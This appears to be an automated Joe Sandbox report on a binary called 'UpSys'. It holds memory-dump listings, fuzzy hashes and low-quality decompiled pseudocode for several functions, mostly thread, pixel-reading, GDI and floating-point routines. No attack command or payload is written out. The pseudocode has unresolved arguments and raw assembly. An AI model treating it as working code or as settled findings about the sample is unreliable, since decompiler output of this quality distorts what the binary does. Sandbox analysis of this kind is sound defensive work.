                                                                                                                                                                                                        • Instruction ID: 9e535e2d7c8104ff0317fc8fb4943e9cb043db6262265881f7b1b8857fc27227
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2ddd9788f517eaef7ebc6038ea5ed44b754ea62c0478598e29b0b7772873bd87
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 92416632608A8182EB65DF23E8547DE63A1F78CBC4F508422AF8D47B66DF79C580C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004E2A0 Relevance: 7.6, APIs: 5, Instructions: 85registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Enum$CloseDeleteOpen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2095303065-0
                                                                                                                                                                                                        • Opcode ID: 412de9c06614dbf037a0d0c5305638ac103b6c377d0a51ad520984d68b6c0e34
                                                                                                                                                                                                        • Instruction ID: 4617ca70a32394ba1058b6e9d9474b57763183a99e9aec9c75448a8b6d3f3f16
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 412de9c06614dbf037a0d0c5305638ac103b6c377d0a51ad520984d68b6c0e34
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CD316A32208BC486E7629F52F4887DAB3A5F7C9784F940436FB8D43A68DF78C5598B04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140024168 Relevance: 7.6, APIs: 5, Instructions: 74COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 18%
                                                                                                                                                                                                        			E00000001140024168(signed int __edx, void* __eflags, void* __rcx, long long __r8, intOrPtr _a40, void* _a48, char _a56, intOrPtr _a72) {
				signed int _v72;
				signed int _v120;
				void* _v184;
				long long _v200;
				char _v208;
				signed long long _v216;
				long long _v232;
				long long _v240;
				long long _v248;
				void* __rbx;
				void* __rsi;
				void* _t22;
				void* _t30;
				void* _t31;
				signed int _t40;
				signed long long _t49;
				signed long long _t50;
				void* _t60;
				void* _t63;
				void* _t65;
				void* _t70;

				_t66 = _t65 - 0xf8;
				asm("movaps [eax-0x38], xmm6");
				_t49 =  *0x400aeaa0; // 0x9e268096a868
				_t50 = _t49 ^ _t65 - 0x000000f8;
				_v72 = _t50;
				_t40 = r9d;
				_t54 = __r8;
				E00000001140026638(_t31, _t40, __r8, __rcx, _t60, _t63);
				_v216 = _t50;
				_v200 = __r8;
				asm("movsd xmm0, [esp+0x50]");
				asm("movsd [esp+0x48], xmm0");
				_t22 = E000000011400240AC(_a40, 0xffc0, __r8, _v216, _t63);
				asm("movsd xmm6, [esp+0x158]");
				if (_t22 != 0) goto 0x40024232;
				if (_a72 != 2) goto 0x40024201;
				asm("movsd [esp+0x90], xmm6");
				_v120 = _v120 & 0xffffffe3 | 0x00000003;
				r8d = _a40;
				_v240 =  &_v208;
				r9d = __edx;
				_v248 =  &_a56;
				E00000001140025F08();
				if ( *0x400aee40 != 0) goto 0x40024277;
				if (_t40 == 0) goto 0x40024277;
				asm("movsd xmm0, [esp+0x48]");
				asm("movsd xmm3, [esp+0x150]");
				_v232 = _v216;
				asm("movsd [esp+0x28], xmm0");
				asm("movsd [esp+0x20], xmm6");
				E00000001140024044(_t40, __rcx);
				goto 0x40024293;
				E0000000114002619C(_t40, _v216);
				E00000001140026638(_t31, _t40, __r8, _v216,  &_v216, _t63);
				asm("movsd xmm0, [esp+0x48]");
				_t30 = E00000001140028D30(_t40, _t54, _v72 ^ _t66, _t70);
				asm("movaps xmm6, [esp+0xe0]");
				return _t30;
			}
























                                                                                                                                                                                                        0x14002416f
                                                                                                                                                                                                        0x140024176
                                                                                                                                                                                                        0x14002417a
                                                                                                                                                                                                        0x140024181
                                                                                                                                                                                                        0x140024184
                                                                                                                                                                                                        0x14002419b
                                                                                                                                                                                                        0x14002419e
                                                                                                                                                                                                        0x1400241a1
                                                                                                                                                                                                        0x1400241ad
                                                                                                                                                                                                        0x1400241b2
                                                                                                                                                                                                        0x1400241b7
                                                                                                                                                                                                        0x1400241c2
                                                                                                                                                                                                        0x1400241c8
                                                                                                                                                                                                        0x1400241cd
                                                                                                                                                                                                        0x1400241d8
                                                                                                                                                                                                        0x1400241e2
                                                                                                                                                                                                        0x1400241eb
                                                                                                                                                                                                        0x1400241fa
                                                                                                                                                                                                        0x140024201
                                                                                                                                                                                                        0x140024213
                                                                                                                                                                                                        0x140024225
                                                                                                                                                                                                        0x140024228
                                                                                                                                                                                                        0x14002422d
                                                                                                                                                                                                        0x140024239
                                                                                                                                                                                                        0x14002423d
                                                                                                                                                                                                        0x140024244
                                                                                                                                                                                                        0x140024251
                                                                                                                                                                                                        0x14002425a
                                                                                                                                                                                                        0x140024264
                                                                                                                                                                                                        0x14002426a
                                                                                                                                                                                                        0x140024270
                                                                                                                                                                                                        0x140024275
                                                                                                                                                                                                        0x140024279
                                                                                                                                                                                                        0x140024288
                                                                                                                                                                                                        0x14002428d
                                                                                                                                                                                                        0x14002429e
                                                                                                                                                                                                        0x1400242a3
                                                                                                                                                                                                        0x1400242b6

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _ctrlfp_set_statfp$_call_matherr_exception_enabled_raise_exc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 932658401-0
                                                                                                                                                                                                        • Opcode ID: 7a56604506453a21f3d5f1253b8581136cd89608d6669c8588ae3cfdea9a5496
                                                                                                                                                                                                        • Instruction ID: 448bb7484b02fcc130e25a5e37d121d842ffb16a81f1ef6d4a03f5f0b79d3be3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7a56604506453a21f3d5f1253b8581136cd89608d6669c8588ae3cfdea9a5496
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A6312D32608E848AD7329B16E4413EBB361FBDE794F540229FB8817B69DF39C8458B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006A590 Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 40%
                                                                                                                                                                                                        			E0000000114006A590(long long __rbx, void* __rcx, void* __rdx, long long __rbp, signed int* __r8, char _a8, intOrPtr _a12, long long _a16, long long _a24) {
				void* __rsi;
				void* _t23;
				signed int _t26;
				void* _t54;

				_a16 = __rbx;
				_a24 = __rbp;
				_t54 = __rdx;
				if ( *((long long*)(__rdx + 0x10)) - 3 < 0) goto 0x4006a5db;
				E00000001140059340( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				if (IsWindow(??) == 0) goto 0x4006a5db;
				E00000001140059340( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				goto 0x4006a5e1;
				GetForegroundWindow();
				_t52 =  *((intOrPtr*)(__rdx + 8));
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				_t23 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				E0000000114003E290( *((intOrPtr*)(__rcx + 0x1d0)),  &_a8,  *((intOrPtr*)(__rdx + 8)));
				GetDC(??);
				r8d = _t23 + _a12;
				_t26 = GetPixel(??, ??, ??);
				E00000001140007A40(_t54, __r8, _t52);
				_a8 = 1;
				 *__r8 = _t26 >> 0x00000010 & 0x000000ff | (_t26 & 0x000000ff) << 0x00000010 | _t26 & 0x0000ff00;
				ReleaseDC(??, ??);
				return 0;
			}







                                                                                                                                                                                                        0x14006a590
                                                                                                                                                                                                        0x14006a595
                                                                                                                                                                                                        0x14006a5aa
                                                                                                                                                                                                        0x14006a5b0
                                                                                                                                                                                                        0x14006a5ba
                                                                                                                                                                                                        0x14006a5ca
                                                                                                                                                                                                        0x14006a5d4
                                                                                                                                                                                                        0x14006a5d9
                                                                                                                                                                                                        0x14006a5db
                                                                                                                                                                                                        0x14006a5e4
                                                                                                                                                                                                        0x14006a5eb
                                                                                                                                                                                                        0x14006a5fa
                                                                                                                                                                                                        0x14006a614
                                                                                                                                                                                                        0x14006a623
                                                                                                                                                                                                        0x14006a629
                                                                                                                                                                                                        0x14006a634
                                                                                                                                                                                                        0x14006a63f
                                                                                                                                                                                                        0x14006a649
                                                                                                                                                                                                        0x14006a665
                                                                                                                                                                                                        0x14006a66b
                                                                                                                                                                                                        0x14006a685

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$ForegroundPixelRelease
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4156661090-0
                                                                                                                                                                                                        • Opcode ID: b5155bb0dd55c381539e395c9c4f3440ccb069bc13e99a87deca4d6886540cec
                                                                                                                                                                                                        • Instruction ID: cb92e809943fc8fe55ac953f0b1231f4195c867a65048fcb4738b832567443d6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b5155bb0dd55c381539e395c9c4f3440ccb069bc13e99a87deca4d6886540cec
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3D214F76704A5082EB09EF63E89479A63A1F78DFD4F148425EF4E47766CE78C441C780
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140054440 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 15%
                                                                                                                                                                                                        			E00000001140054440(long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32, intOrPtr _a40, intOrPtr _a48) {
				signed long long _v16;
				intOrPtr _v20;
				signed int _v24;
				signed long long _v40;
				intOrPtr _t29;
				void* _t30;
				intOrPtr _t31;
				void* _t33;
				void* _t34;
				void* _t35;
				signed long long _t42;
				signed long long _t45;
				signed long long _t59;
				void* _t63;

				_t42 = _t59;
				 *((long long*)(_t42 + 8)) = __rbx;
				 *((long long*)(_t42 + 0x10)) = __rbp;
				 *((long long*)(_t42 + 0x18)) = __rsi;
				 *((long long*)(_t42 + 0x20)) = __rdi;
				_t30 = r9d;
				_t29 = r8d;
				if (r8d == 0xffffffff) goto 0x40054520;
				_t31 = _a48;
				_t25 = _a40;
				_t33 =  *0x400c6b48 - r8d; // 0x0
				if (_t33 != 0) goto 0x40054491;
				_t34 =  *0x400c6b44 - _t31; // 0x0
				if (_t34 != 0) goto 0x40054491;
				_t35 =  *0x400c6b4c - _t25; // 0x0
				if (_t35 == 0) goto 0x40054520;
				_t45 =  *0x400c6b30; // 0x0
				if (_t45 == 0) goto 0x400544ab;
				DeleteObject(_t63);
				 *0x400c6b30 =  *0x400c6b30 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v16 = _v16 & 0x00000000;
				 *0x400c6b44 = _t31;
				 *0x400c6b48 = _t29;
				 *0x400c6b4c = _a40;
				_v20 = _t29;
				if (_t31 == 1) goto 0x400544d5;
				asm("bts ebx, 0x10");
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				ExtCreatePen(??, ??, ??, ??, ??);
				 *0x400c6b30 = _t42;
				SelectObject(??, ??);
				 *0x400c6b38 = _t42;
				if ( *0x400c6b40 != 0) goto 0x40054520;
				BeginPath(??);
				 *0x400c6b40 = 1;
				if (_t30 == 0xffffffff) goto 0x40054547;
				if (_t30 == 0xfffffffe) goto 0x40054547;
				r8d = 0;
				E0000000114004D8D0(_t30, r8d, _t42, __rbx, 0x400c6a00, __rsi);
				return SelectObject(??, ??);
			}

















                                                                                                                                                                                                        0x140054440
                                                                                                                                                                                                        0x140054443
                                                                                                                                                                                                        0x140054447
                                                                                                                                                                                                        0x14005444b
                                                                                                                                                                                                        0x14005444f
                                                                                                                                                                                                        0x140054459
                                                                                                                                                                                                        0x14005445c
                                                                                                                                                                                                        0x140054466
                                                                                                                                                                                                        0x14005446c
                                                                                                                                                                                                        0x140054470
                                                                                                                                                                                                        0x140054474
                                                                                                                                                                                                        0x14005447b
                                                                                                                                                                                                        0x14005447d
                                                                                                                                                                                                        0x140054483
                                                                                                                                                                                                        0x140054485
                                                                                                                                                                                                        0x14005448b
                                                                                                                                                                                                        0x140054491
                                                                                                                                                                                                        0x14005449b
                                                                                                                                                                                                        0x14005449d
                                                                                                                                                                                                        0x1400544a3
                                                                                                                                                                                                        0x1400544ab
                                                                                                                                                                                                        0x1400544b0
                                                                                                                                                                                                        0x1400544b6
                                                                                                                                                                                                        0x1400544bc
                                                                                                                                                                                                        0x1400544c2
                                                                                                                                                                                                        0x1400544c8
                                                                                                                                                                                                        0x1400544cf
                                                                                                                                                                                                        0x1400544d1
                                                                                                                                                                                                        0x1400544d5
                                                                                                                                                                                                        0x1400544e0
                                                                                                                                                                                                        0x1400544e7
                                                                                                                                                                                                        0x1400544f3
                                                                                                                                                                                                        0x1400544fa
                                                                                                                                                                                                        0x140054507
                                                                                                                                                                                                        0x14005450e
                                                                                                                                                                                                        0x140054513
                                                                                                                                                                                                        0x140054519
                                                                                                                                                                                                        0x140054523
                                                                                                                                                                                                        0x140054528
                                                                                                                                                                                                        0x140054531
                                                                                                                                                                                                        0x140054536
                                                                                                                                                                                                        0x140054561

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Object$Select$BeginCreateDeletePath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2338827641-0
                                                                                                                                                                                                        • Opcode ID: 93d6be1a49bdf4937f9eb92a8d71dc8c06e922443115a4de48340836039e0051
                                                                                                                                                                                                        • Instruction ID: bbe09bf603a04b8dcecadc82ba6b45b297fa3df606f150a65a1ee3aaba8799d5
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 93d6be1a49bdf4937f9eb92a8d71dc8c06e922443115a4de48340836039e0051
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 98314C76615B5087E7668B27B8487A9B7A0F78CBE4F44021AFB59477B1CF39C8848B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140018674 Relevance: 7.6, APIs: 5, Instructions: 68threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 51%
                                                                                                                                                                                                        			E00000001140018674(void* __edx, intOrPtr* __rax, signed int __rbx, void* __rcx, long long __rsi, long long __rbp, long long __r8, long long __r9, long long _a8, long long _a16, char _a24, long long _a32, signed int _a40, intOrPtr _a48) {
				long long _v32;
				signed int _v40;
				void* __rdi;
				intOrPtr* _t45;
				intOrPtr _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t57;
				long long _t59;

				_t48 = __rcx;
				_t46 = __rbx;
				_t45 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a32 = __rsi;
				_t59 = __r8;
				r12d = __edx;
				if (__r8 != 0) goto 0x400186c3;
				E0000000114001EAE4(__r8, __rax);
				_v40 = _v40 & __rbx;
				r9d = 0;
				r8d = 0;
				 *__rax = 0x16;
				E0000000114001EA14(__rax, __rbx, __rcx, _t53, __r8, __r9, __r8);
				goto 0x4001875a;
				E0000000114001D584();
				E0000000114001D97C(_t46, _t48, _t53, _t56, _t59, __r9);
				_t57 = _t45;
				if (_t45 == 0) goto 0x40018747;
				E0000000114001D6F0(1, _t45, _t45);
				E0000000114001D5B8(_t46, _t57,  *((intOrPtr*)(_t45 + 0xc0)));
				_t50 = _a48;
				 *(_t57 + 8) =  *(_t57 + 8) | 0xffffffff;
				_t69 =  !=  ? _t50 :  &_a24;
				_v32 =  !=  ? _t50 :  &_a24;
				 *((long long*)(_t57 + 0x90)) = _t59;
				 *((long long*)(_t57 + 0x98)) = __r9;
				_v40 = _a40;
				CreateThread(??, ??, ??, ??, ??, ??);
				if (_t45 != 0) goto 0x4001875c;
				GetLastError();
				free(??);
				if (_t28 == 0) goto 0x4001875a;
				E0000000114001EB24(_t28, _t28, _t45, 0x1400185d4);
				return 0;
			}












                                                                                                                                                                                                        0x140018674
                                                                                                                                                                                                        0x140018674
                                                                                                                                                                                                        0x140018674
                                                                                                                                                                                                        0x140018674
                                                                                                                                                                                                        0x140018679
                                                                                                                                                                                                        0x14001867e
                                                                                                                                                                                                        0x140018691
                                                                                                                                                                                                        0x140018694
                                                                                                                                                                                                        0x14001869d
                                                                                                                                                                                                        0x14001869f
                                                                                                                                                                                                        0x1400186a4
                                                                                                                                                                                                        0x1400186a9
                                                                                                                                                                                                        0x1400186ac
                                                                                                                                                                                                        0x1400186b3
                                                                                                                                                                                                        0x1400186b9
                                                                                                                                                                                                        0x1400186be
                                                                                                                                                                                                        0x1400186c3
                                                                                                                                                                                                        0x1400186d2
                                                                                                                                                                                                        0x1400186d7
                                                                                                                                                                                                        0x1400186dd
                                                                                                                                                                                                        0x1400186df
                                                                                                                                                                                                        0x1400186ee
                                                                                                                                                                                                        0x1400186f3
                                                                                                                                                                                                        0x1400186f8
                                                                                                                                                                                                        0x140018709
                                                                                                                                                                                                        0x140018713
                                                                                                                                                                                                        0x140018722
                                                                                                                                                                                                        0x140018729
                                                                                                                                                                                                        0x140018730
                                                                                                                                                                                                        0x140018734
                                                                                                                                                                                                        0x14001873d
                                                                                                                                                                                                        0x140018745
                                                                                                                                                                                                        0x14001874a
                                                                                                                                                                                                        0x140018751
                                                                                                                                                                                                        0x140018755
                                                                                                                                                                                                        0x140018774

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateDecodeErrorLastPointerThread_errno_getptdfree
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 220819306-0
                                                                                                                                                                                                        • Opcode ID: bf0d78cb356b7a7adcdc2eee2789bdbd6c536b3905394a161bf50f53b36a53ea
                                                                                                                                                                                                        • Instruction ID: 152d58e6011b30538cb6883366ec6b89ea571a21e1a09bda3ad712a4506a15d0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bf0d78cb356b7a7adcdc2eee2789bdbd6c536b3905394a161bf50f53b36a53ea
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E121A432204B8086EB26ABA7A5417DEB2A1FB8CBD0F544625BF5947BE6CF39D1108700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002956C Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1445889803-0
                                                                                                                                                                                                        • Opcode ID: fef309eb32b28edd54e86bd6a56b5b28ac449a00aeb0cebb6bf2b135ba366318
                                                                                                                                                                                                        • Instruction ID: 0d2ae8289433fde8dd446d3f1b2a7b6e8f5740f37cc5094ac0c392e9057f33a9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fef309eb32b28edd54e86bd6a56b5b28ac449a00aeb0cebb6bf2b135ba366318
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DB012D32225B4086EB928F22F9547966360F76DBD0F446620FF5E47BB4DA38C9958700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140072060 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3741023627-0
